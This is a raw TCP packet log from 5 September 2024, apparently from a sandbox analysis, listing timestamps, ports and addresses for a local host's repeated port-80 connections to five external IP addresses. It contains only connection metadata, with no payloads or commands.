Sep 5, 2024 14:25:30.555933952 CEST	57201	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:30.561006069 CEST	80	57201	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:31.040836096 CEST	80	57201	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:31.040862083 CEST	80	57201	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:31.040913105 CEST	57201	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:31.040998936 CEST	80	57201	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:31.041050911 CEST	57201	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:32.060965061 CEST	57201	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:33.080302000 CEST	57202	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:33.085149050 CEST	80	57202	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:33.085220098 CEST	57202	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:33.087347031 CEST	57202	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:33.094484091 CEST	80	57202	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:33.094616890 CEST	80	57202	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:33.547557116 CEST	80	57202	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:33.547616959 CEST	80	57202	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:33.548177958 CEST	57202	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:33.548604965 CEST	80	57202	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:33.552040100 CEST	57202	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:34.592761993 CEST	57202	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:35.610971928 CEST	57203	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:35.615870953 CEST	80	57203	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:35.620066881 CEST	57203	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:35.622976065 CEST	57203	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:35.627777100 CEST	80	57203	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:36.174249887 CEST	80	57203	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:36.174282074 CEST	80	57203	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:36.174294949 CEST	80	57203	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:36.174365997 CEST	80	57203	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:36.174459934 CEST	57203	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:36.174459934 CEST	57203	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:36.177076101 CEST	57203	80	192.168.2.5	199.59.243.226
Sep 5, 2024 14:25:36.181855917 CEST	80	57203	199.59.243.226	192.168.2.5
Sep 5, 2024 14:25:50.050396919 CEST	57204	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:50.055306911 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.058168888 CEST	57204	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:50.058168888 CEST	57204	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:50.064186096 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.658869028 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.658911943 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.658925056 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.658937931 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.658951044 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.658953905 CEST	57204	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:50.658989906 CEST	57204	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:50.659126997 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.659152985 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.659162998 CEST	57204	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:50.659163952 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.659193993 CEST	57204	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:50.659312963 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.659326077 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.659379005 CEST	57204	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:50.664133072 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.664146900 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.664159060 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.664205074 CEST	57204	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:50.747368097 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.747387886 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.747410059 CEST	80	57204	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:50.747471094 CEST	57204	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:51.560691118 CEST	57204	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:52.593292952 CEST	57205	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:52.598450899 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:52.598525047 CEST	57205	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:52.601150990 CEST	57205	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:52.606046915 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.203957081 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.203984976 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.203996897 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.204010010 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.204046011 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.204046965 CEST	57205	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:53.204056978 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.204076052 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.204078913 CEST	57205	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:53.204082966 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.204088926 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.204185963 CEST	57205	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:53.204904079 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.204946041 CEST	57205	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:53.209186077 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.209202051 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.209214926 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.209228992 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.209274054 CEST	57205	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:53.209314108 CEST	57205	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:53.467974901 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.467995882 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.468010902 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.468020916 CEST	80	57205	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:53.471733093 CEST	57205	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:54.107461929 CEST	57205	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:55.126266956 CEST	57206	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:55.131097078 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.131201029 CEST	57206	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:55.133116007 CEST	57206	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:55.138137102 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.138189077 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.738493919 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.738517046 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.738528967 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.738539934 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.738567114 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.738584042 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.738595963 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.738605022 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.738615990 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.738624096 CEST	57206	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:55.738629103 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.738676071 CEST	57206	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:55.738676071 CEST	57206	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:55.738787889 CEST	57206	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:55.743557930 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.743597984 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.743609905 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.743638992 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.743649960 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.743702888 CEST	57206	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:55.743774891 CEST	57206	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:55.825063944 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.825078964 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.825434923 CEST	57206	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:55.825510979 CEST	80	57206	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:55.825634956 CEST	57206	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:56.638796091 CEST	57206	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:57.657407045 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:57.662604094 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:57.665898085 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:57.665898085 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:57.670732021 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.268325090 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.268467903 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.268486023 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.268503904 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.268517971 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.268529892 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.268528938 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:58.268543005 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.268553972 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.268650055 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:58.268733025 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:58.270776987 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.270786047 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.270834923 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:58.273403883 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.273413897 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.273423910 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.273458004 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:58.357995033 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.358103991 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:58.359051943 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.517710924 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:58.803172112 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.803318024 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:58.803708076 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.803747892 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:58.804272890 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:58.804272890 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:25:58.804316998 CEST	57207	80	192.168.2.5	162.0.213.94
Sep 5, 2024 14:25:58.810398102 CEST	80	57207	162.0.213.94	192.168.2.5
Sep 5, 2024 14:26:03.950030088 CEST	57208	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:03.954916954 CEST	80	57208	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:03.958194017 CEST	57208	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:03.960134983 CEST	57208	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:03.965259075 CEST	80	57208	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:04.414572954 CEST	80	57208	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:04.426175117 CEST	80	57208	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:04.426223040 CEST	57208	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:05.468013048 CEST	57208	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:06.486428022 CEST	57209	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:06.498245955 CEST	80	57209	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:06.498320103 CEST	57209	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:06.500579119 CEST	57209	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:06.507147074 CEST	80	57209	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:06.979032993 CEST	80	57209	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:06.979273081 CEST	80	57209	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:06.979322910 CEST	57209	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:08.014909029 CEST	57209	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:09.032109022 CEST	57210	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:09.037066936 CEST	80	57210	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:09.037204027 CEST	57210	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:09.041007996 CEST	57210	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:09.046139002 CEST	80	57210	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:09.046149969 CEST	80	57210	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:09.498462915 CEST	80	57210	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:09.500220060 CEST	80	57210	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:09.504074097 CEST	57210	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:10.544985056 CEST	57210	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:11.563625097 CEST	57211	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:11.568639040 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:11.568733931 CEST	57211	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:11.571048975 CEST	57211	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:11.575934887 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.167295933 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.167320967 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.167332888 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.167351007 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.167363882 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.167373896 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.167386055 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.167398930 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.167412043 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.167423010 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.167469978 CEST	57211	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:12.167515993 CEST	57211	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:12.172365904 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.172432899 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.172626019 CEST	57211	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:12.191920042 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.191965103 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.192074060 CEST	57211	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:12.255501986 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.255536079 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.255548954 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.255664110 CEST	57211	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:12.255669117 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.255778074 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:12.255861044 CEST	57211	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:12.260469913 CEST	57211	80	192.168.2.5	13.248.151.237
Sep 5, 2024 14:26:12.265403032 CEST	80	57211	13.248.151.237	192.168.2.5
Sep 5, 2024 14:26:17.476039886 CEST	57212	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:17.483588934 CEST	80	57212	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:17.484204054 CEST	57212	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:17.488027096 CEST	57212	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:17.493210077 CEST	80	57212	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:17.948947906 CEST	80	57212	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:17.949378014 CEST	80	57212	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:17.952178955 CEST	57212	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:18.998403072 CEST	57212	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:20.020031929 CEST	57213	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:20.025007010 CEST	80	57213	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:20.025182009 CEST	57213	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:20.028033972 CEST	57213	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:20.032854080 CEST	80	57213	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:20.494457006 CEST	80	57213	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:20.494714975 CEST	80	57213	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:20.494765997 CEST	57213	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:21.536040068 CEST	57213	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:22.548791885 CEST	57214	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:22.553874969 CEST	80	57214	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:22.553960085 CEST	57214	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:22.556262970 CEST	57214	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:22.561153889 CEST	80	57214	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:22.561194897 CEST	80	57214	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:23.015678883 CEST	80	57214	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:23.015829086 CEST	80	57214	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:23.015896082 CEST	57214	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:24.060520887 CEST	57214	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:25.079320908 CEST	57215	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:25.084233999 CEST	80	57215	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:25.084317923 CEST	57215	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:25.086555004 CEST	57215	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:25.091351986 CEST	80	57215	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:25.546081066 CEST	80	57215	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:25.546149969 CEST	80	57215	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:25.546426058 CEST	57215	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:25.549161911 CEST	57215	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:25.553946018 CEST	80	57215	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:30.598366976 CEST	57216	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:30.603332996 CEST	80	57216	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:30.603423119 CEST	57216	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:30.605568886 CEST	57216	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:30.610363007 CEST	80	57216	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:31.226120949 CEST	80	57216	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:31.226140976 CEST	80	57216	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:31.226239920 CEST	57216	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:32.107470989 CEST	57216	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:33.127619028 CEST	57217	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:33.245816946 CEST	80	57217	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:33.245919943 CEST	57217	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:33.248716116 CEST	57217	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:33.253846884 CEST	80	57217	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:33.887597084 CEST	80	57217	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:33.887630939 CEST	80	57217	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:33.887795925 CEST	57217	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:34.763703108 CEST	57217	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:35.782764912 CEST	57218	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:35.792926073 CEST	80	57218	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:35.793060064 CEST	57218	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:35.796065092 CEST	57218	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:35.801064968 CEST	80	57218	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:35.801081896 CEST	80	57218	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:36.447278976 CEST	80	57218	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:36.447705984 CEST	80	57218	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:36.447900057 CEST	57218	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:37.310622931 CEST	57218	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:38.329026937 CEST	57219	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:38.334008932 CEST	80	57219	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:38.336179018 CEST	57219	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:38.340058088 CEST	57219	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:38.344871044 CEST	80	57219	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:38.962238073 CEST	80	57219	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:38.962441921 CEST	80	57219	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:38.962806940 CEST	57219	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:38.966345072 CEST	57219	80	192.168.2.5	91.203.110.247
Sep 5, 2024 14:26:38.972265005 CEST	80	57219	91.203.110.247	192.168.2.5
Sep 5, 2024 14:26:44.020456076 CEST	57220	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:44.025371075 CEST	80	57220	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:44.027249098 CEST	57220	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:44.030093908 CEST	57220	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:44.035052061 CEST	80	57220	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:44.499119997 CEST	80	57220	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:44.499269009 CEST	80	57220	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:44.499385118 CEST	57220	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:45.544904947 CEST	57220	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:46.566993952 CEST	57221	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:46.571995974 CEST	80	57221	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:46.572072983 CEST	57221	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:46.574439049 CEST	57221	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:46.579813957 CEST	80	57221	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:47.030900955 CEST	80	57221	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:47.030925989 CEST	80	57221	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:47.030980110 CEST	57221	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:48.080097914 CEST	57221	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:49.211859941 CEST	57222	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:49.216792107 CEST	80	57222	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:49.216865063 CEST	57222	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:49.224646091 CEST	57222	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:49.229470968 CEST	80	57222	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:49.229605913 CEST	80	57222	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:49.679217100 CEST	80	57222	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:49.679353952 CEST	80	57222	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:49.688095093 CEST	57222	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:50.732439995 CEST	57222	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:51.751734018 CEST	57223	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:51.816386938 CEST	80	57223	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:51.818233967 CEST	57223	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:51.824080944 CEST	57223	80	192.168.2.5	34.149.87.45
Sep 5, 2024 14:26:51.830195904 CEST	80	57223	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:52.280508995 CEST	80	57223	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:52.280592918 CEST	80	57223	34.149.87.45	192.168.2.5
Sep 5, 2024 14:26:52.280814886 CEST	57223	80	192.168.2.5	34.149.87.45
